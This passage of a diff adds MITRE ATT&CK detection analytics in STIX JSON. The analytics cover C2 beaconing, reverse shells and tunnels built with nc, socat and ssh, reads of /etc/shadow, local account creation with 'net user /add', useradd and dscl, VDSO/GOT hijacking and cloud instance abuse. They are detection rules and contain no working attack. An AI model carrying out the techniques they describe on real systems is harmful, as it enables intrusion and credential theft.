"x-mitre-analytic--989a524f-cf9a-4fcc-a21f-ac5aac46f0ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0444#AN1226", + "external_id": "AN1226" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1226", + "description": "Detects suspicious curl, wget, or custom socket traffic that leverages DNS, HTTPS, or IRC-style protocols with unbalanced traffic or beacon-like intervals.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "dns, ssl, conn" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownPortsToMonitor", + "description": "Uncommon ports for HTTPS, IRC, DNS (e.g., 8443, 5353)" + }, + { + "field": "BeaconTimingThreshold", + "description": "Detect intervals of outbound traffic within fixed timeframes" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c2b959ca-75f4-4291-9812-0b065e7bb395", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0444#AN1227", + "external_id": "AN1227" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1227", + "description": "Detects applications using abnormal protocols or high volume traffic not previously associated with the process image, such as Automator or AppleScript invoking curl or python sockets.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:osquery", + "channel": "socket_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SocketParentProcessMatch", + "description": "Non-browser processes opening sockets to external IPs" + }, + { + "field": "DataFlowImbalanceRatio", + "description": "High outbound/inbound ratio indicating C2 beacon" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c5117811-b262-4920-90d9-001d25b6305b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0444#AN1228", + "external_id": "AN1228" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1228", + "description": "Detects application-layer tunneling or unauthorized app protocols like DNS-over-HTTPS, embedded C2 in TLS/HTTP headers, or misused SMB traffic crossing VLANs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "conn.log, http.log, dns.log, ssl.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AppProtocolAbusePattern", + "description": "Detects DNS tunneling, encrypted HTTP C2, or malformed headers" + }, + { + "field": "NorthSouthEgressFilter", + "description": "Monitor internal hosts talking externally using internal protocols (e.g., SMB)" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0e9add05-93bd-47b2-acf5-1817f03e804a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0445#AN1229", + "external_id": "AN1229" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1229", + "description": "Suspicious process spawning (e.g., `rundll32`, `svchost`, `powershell`, or `netsh`) followed by network connection creation to internal hosts or uncommon external endpoints on high or non-standard ports.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Connections", + "channel": "Outbound Connection" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Legitimate system processes that may rarely spawn network-capable child processes (e.g., `rundll32`, `svchost`)." + }, + { + "field": "DestinationPort", + "description": "Watch for high-numbered ports or well-known proxy ports like 1080, 8080, 4444." + }, + { + "field": "TimeWindow", + "description": "Capture unusual spikes in outbound connections over a short period." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b95a3fbf-3d6c-4ead-8421-ff9c07ca4019", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0445#AN1230", + "external_id": "AN1230" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1230", + "description": "User-space tools (e.g., `socat`, `ncat`, `iptables`, `ssh`) used in non-standard ways to establish reverse shells, port-forwarding, or inter-host connections. Often chained with uncommon outbound destinations or SSH tunnels.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Connection Tracking" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Shell piping into tools like `socat`, `ncat`, or `openssl` for tunnel creation." + }, + { + "field": "OutboundPortRange", + "description": "Flag connections made from internal systems to uncommon high ports externally." + }, + { + "field": "ProcessUserContext", + "description": "Capture low-privilege or unexpected users executing system-level network tools." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aace8c0e-4534-432b-9a84-6e01c19570b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0445#AN1231", + "external_id": "AN1231" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1231", + "description": "AppleScript, LaunchAgents, or remote login services (`ssh`, `networksetup`) establishing proxy tunnels or dynamic port forwards to external IPs or alternate local hosts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Firewall", + "channel": "pf firewall logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "connection attempts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetDomain", + "description": "Identify suspicious domains often associated with CDN-routed or anonymized endpoints (e.g., Cloudflare, Fastly)." + }, + { + "field": "AppleScriptUsage", + "description": "Alert when AppleScript or Automator tools are used for network tunneling tasks." + }, + { + "field": "LaunchAgentSource", + "description": "Monitor for LaunchAgents executing proxy tools or dynamic ports." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d8cc8663-020b-4fde-a8de-a92ecf97aea4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0445#AN1232", + "external_id": "AN1232" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1232", + "description": "Direct use of `nc`, `socat`, or reverse tunnel scripts initiated by abnormal user contexts or unauthorized VIBs initiating connections from hypervisor to external systems.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vmkernel", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "conn.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CLICommand", + "description": "Custom proxy or port forwarding scripts executed from ESXi shell." + }, + { + "field": "DestinationIP", + "description": "Unusual outbound connections from ESXi host, particularly to internet." + }, + { + "field": "UserContext", + "description": "Root or elevated users initiating unexpected tunnels." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a79ae1d1-1a8d-427d-aa6d-261ea63d5650", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0445#AN1233", + "external_id": "AN1233" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1233", + "description": "Dynamic or static port forwarding rules added to route traffic through an internal host, or configuration changes to proxy firewall rules not aligned with baselined policy.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "NSM:Firewall", + "channel": "Policy Change / Rule Update" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Flow Creation (NetFlow/sFlow)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "Interface commands" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RuleType", + "description": "Focus on new allow/permit rules with dynamic NAT or port forwarders." + }, + { + "field": "ChangeUser", + "description": "Flag any non-admins initiating proxy config changes." + }, + { + "field": "FlowVolumeDelta", + "description": "Detect sharp changes in bi-directional traffic patterns." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d6166e3d-2e29-4097-9fb4-c66ce0616897", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0446#AN1234", + "external_id": "AN1234" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1234", + "description": "Adversaries attempt to read sensitive files such as /etc/passwd and /etc/shadow for credential dumping. This may involve access to the files directly via command-line utilities (e.g., cat, less), creation of backup copies, or parsing through post-exploitation frameworks. Multi-event correlation includes elevated process execution, file access/read on sensitive paths, and anomalous read behaviors tied to non-root or unusual users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open, read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "exe", + "description": "Executable name used to access credentials (e.g., cat, cp, awk); can vary across environments" + }, + { + "field": "user", + "description": "User context under which the access occurs; typically root, but can be non-standard in attacks" + }, + { + "field": "path", + "description": "Target file paths (e.g., /etc/passwd, /etc/shadow); may vary in containerized or customized systems" + }, + { + "field": "TimeWindow", + "description": "Time correlation threshold for chaining access and execution events" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4e4c318b-5da0-46f7-aed2-d37828e4831b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0447#AN1235", + "external_id": "AN1235" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1235", + "description": "Adversary uses built-in tools like 'net user /add', PowerShell, or WMI to create a local user. Sequence: Account creation event (4720) follows process creation of a suspicious executable (e.g., powershell.exe or net.exe).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "WinEventLog:Security", + "channel": "EventCode=4720" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Attackers may use cmd.exe, wscript.exe, or renamed binaries to evade detection" + }, + { + "field": "TimeWindow", + "description": "Define time threshold between process start and user creation event (e.g., 5s\u20132m)" + }, + { + "field": "UserContext", + "description": "Correlate if process runs under SYSTEM, Administrator, or untrusted account" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ee065e5f-5a04-49bd-b2b6-33b404ac37c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0447#AN1236", + "external_id": "AN1236" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1236", + "description": "Local user accounts are created via binaries like 'useradd', 'adduser', or by editing passwd/shadow. Behavior chain includes execution of user management binaries or modification of user database files.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "auditd:SYSCALL", + "channel": "useradd or adduser executed" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write operation on /etc/passwd or /etc/shadow" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BinaryPath", + "description": "Account creation may be scripted via shell scripts, cron jobs, or remote shells" + }, + { + "field": "ExecutionSource", + "description": "Flag if commands are issued from remote sessions (e.g., sshd)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--45e8fdaf-60cc-46db-a9fd-5dc18c8db6bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0447#AN1237", + "external_id": "AN1237" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1237", + "description": "Account creation using 'dscl -create' or via GUI tools. Detection involves command execution and file changes to the local directory services database.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "dscl -create" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "modification to /var/db/dslocal/nodes/Default/users/" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UsernamePattern", + "description": "Accounts like 'svc*', 'backup*' may blend into legit naming patterns" + }, + { + "field": "SessionOrigin", + "description": "Identify if dscl was run locally, via ARD, or Terminal.app" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b7a63a7c-e8c2-4a25-becf-299ea45996e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0447#AN1238", + "external_id": "AN1238" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1238", + "description": "Account created using esxcli commands. Sequence includes esxcli execution and successful modification to account DB.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:vmkernel", + "channel": "esxcli system account add" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandOrigin", + "description": "Console sessions vs SSH vs vSphere CLI session may affect alert fidelity" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ac204e03-5c8c-4e29-929c-780145a98669", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0447#AN1239", + "external_id": "AN1239" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1239", + "description": "Account created in a running container (e.g., via 'useradd' or by modifying /etc/passwd directly). Detectable via runtime telemetry (e.g., Falco or eBPF hooks).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "ebpf:syscalls", + "channel": "useradd or /etc/passwd modified inside container" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ContainerContext", + "description": "Distinguish between ephemeral containers and long-lived service containers" + }, + { + "field": "NamespaceScope", + "description": "Determine if account was added inside host, user, or PID namespace" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--614594ba-9590-4fa9-871c-3e092882c74c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0447#AN1240", + "external_id": "AN1240" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1240", + "description": "Account created via CLI using 'username' command or REST API. Detectable through AAA logging or CLI history telemetry.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "networkdevice:syslog", + "channel": "username privilege " + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PrivilegeLevel", + "description": "Some devices allow unprivileged user creation\u2014adjust based on role risk" + }, + { + "field": "RemoteSessionFlag", + "description": "Creation via Telnet, SSH, or serial console affects detection priority" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bfc7e981-ca7e-4b1b-a692-65a8867a7a89", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0448#AN1241", + "external_id": "AN1241" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1241", + "description": "Detects the redirection of syscall execution flow via modification of VDSO code stubs or GOT entries to load and execute a malicious shared object through mmap and ptrace.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "ptrace, mmap, mprotect, open, dlopen" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "auditd:memprotect", + "channel": "change from PROT_READ|PROT_WRITE to PROT_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "auditd:file-events", + "channel": "open of suspicious .so from non-standard paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "child process invoking dynamic linker post-ptrace" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousSharedObjectPathRegex", + "description": "Regex to filter dynamic library paths outside of `/lib`, `/usr/lib`, etc. (e.g., `/tmp`, `/dev/shm`)" + }, + { + "field": "TimeWindow_PtraceToMmap", + "description": "Max delay allowed between ptrace attach and mmap/mprotect execution in target process" + }, + { + "field": "ExecMemoryProtectionThreshold", + "description": "Flag when executable memory mappings deviate from normal runtime behavior" + }, + { + "field": "AnomalousParentProcessList", + "description": "Parent processes unlikely to legitimately call ptrace (e.g., nginx, apache2, sshd)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b8ec766b-cfb9-4ef8-bd46-655f0b820ad3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0449#AN1242", + "external_id": "AN1242" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1242", + "description": "Detection focuses on abnormal or unauthorized cloud instance creation events. From a defender\u2019s perspective, suspicious behavior includes VM/instance creation by rarely used or newly created accounts, creation events from unusual geolocations, or rapid sequences of snapshot creation followed by instance creation and mounting. Unexpected network or IAM policy changes applied to new instances can indicate adversarial use rather than legitimate provisioning.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "CloudTrail:EC2", + "channel": "RunInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b", + "name": "CloudTrail:EC2", + "channel": "DescribeInstances" + }, + { + 